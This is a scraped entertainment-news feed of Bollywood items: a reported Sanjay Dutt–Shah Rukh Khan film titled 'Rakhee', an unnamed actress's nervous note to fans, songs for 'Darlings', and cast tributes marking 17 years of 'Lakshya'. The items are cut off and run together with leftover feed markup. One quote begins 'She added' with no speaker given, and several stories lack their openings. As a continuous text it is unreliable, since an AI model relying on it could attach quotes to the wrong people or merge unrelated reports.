The post Sanjay Dutt and Shah Rukh Khan to collaborate for a multi-lingual film appeared first on The Edge Media.
]]>After sharing screen space briefly in the opening sequence of SRK’s 2012 film ‘Ra.One‘, and shaking a leg together in the title track of the 2007 film, ‘Om Shanti Om’, the two stars will come together for the film which is tentatively titled as ‘Rakhee’. If sources are to be believed, the actors are currently shooting for the film, bankrolled by Viacom 18, in Mumbai.
SRK and Sanjay share a great rapport off-screen but the audience has never seen them together on the big screen. So, the project is surely a treat for their fans.

She added, “I guess this feeling will never go away.. and it shouldn’t – because being nervous.. and feeling unsure means you really really care” She concluded the note by asking for luck from her fans. She said, “P.S – wish me luck pls (I’ll need all of it to match up to my co-actors.”

For Darlings, legendary lyricist Gulzar and music director Vishal Bhardwaj are reuniting to compose songs. The upcoming dark comedy also stars Shefali Shah, Vijay Varma and Roshan Mathew. It also marks Alia Bhatt’s first feature as a producer under her banner Eternal Sunshine.

]]>Calling it a life experience, Farhan thanked everyone involved with the project. Sharing a montage of clips from the film, the actor-director wrote, “Forever grateful to the Indian army for supporting us and to the incredibly dedicated & tenacious cast & crew who collaborated on this life experience .. I won’t call it a film, because it’s always been more than that. Lakshya. 17 years.
.”


Preity Zinta, who played a war journalist in Lakshya also took to Instagram to remember the film. Sharing that it was her ‘toughest film ever’, the actor added that it’s also a ‘love letter to all army brats’. “Remembering Lakshya today – My toughest film ever. Filming at 18000+feet in Ladakh was brutal & beautiful at the same time. I’m so proud of this film & everything it stood for. It definitely is a love letter to all the army brats out there
It’s also a reminder to never forget all those sacrifices & the unmatched bravery of our armed forces
Thank you @amitabhbachchan ji @faroutakhtar @hrithikroshan @ritesh_sid @zoieakhtar @reemakagti1 @jaduakhtar @shankarehsaanloy & the entire cast n crew for this memorable experience. #17yearsofLakshya #Memories #Jaihind #Ting,” wrote Preity Zinta.

Lakshya, a coming-of-age story, was set against the 1999 Kargil War. A major part of the film was shot in Ladakh, and actual army officers were also part of the shoot. Hrithik Roshan’s fans still consider the film as one of his best performances.
